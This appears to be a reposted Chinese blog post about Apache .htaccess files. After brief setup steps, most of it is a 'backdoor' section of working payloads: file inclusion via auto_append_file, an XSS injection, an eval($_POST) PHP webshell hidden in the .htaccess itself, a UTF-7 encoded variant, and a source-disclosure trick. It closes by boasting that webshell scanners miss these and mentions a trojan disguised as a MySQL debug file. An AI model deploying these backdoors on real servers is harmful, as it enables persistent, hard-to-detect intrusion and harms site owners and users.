from:http://www.tiejiang.org/10048.html
0x00 .Htaccess簡介
.htaccess 是Apache HTTP Server的文件目錄系統級別的配置文件的默認的名字。它提供了在主配置文件中定義用戶自定義指令的支持。 這些配置指令需要在 .htaccess 上下文 和用戶需要的適當許可。
平時開發用的最多的就是URL重定向功能。
0x01 開啟.htaccess
Apache中修改配置文件httpd.conf
修改如下內容
Options FollowSymLinks
AllowOverride None
為:
Options FollowSymLinks
AllowOverride All
開啟rewrite模塊
LoadModule rewrite_module modules/mod_rewrite.so
后門篇
文件包含
.htaccess:
php_value auto_append_file D:/wamp/www/1.txt
*.php
XSS后門
.htaccess:
php_value highlight.comment '"><script>alert(1);</script>'
*.php
PHP后門
.htaccess:
php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
*.php
.htaccess:
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+Ads
*.php
.htaccess:
php_value unserialize_callback_func "phpinfo"
index.php:
unserialize('O:1:"1":0:{}');
類似的回調函數都是可以的,過此處phpinfo要怎么調用才能運行任意代碼還沒研究出來。
任意文件下載
.htaccess:
php_flag engine 0
*.php
0x03 webshell查殺
目前使用了D盾webshell查殺、SeayFindShell等工具對這個都沒有查殺效果。不過也都是一些簡單的一句話木馬了,很容易被入庫干掉。自己寫了一個偽裝成mysql調試文件的PHP木馬,感覺好用多了。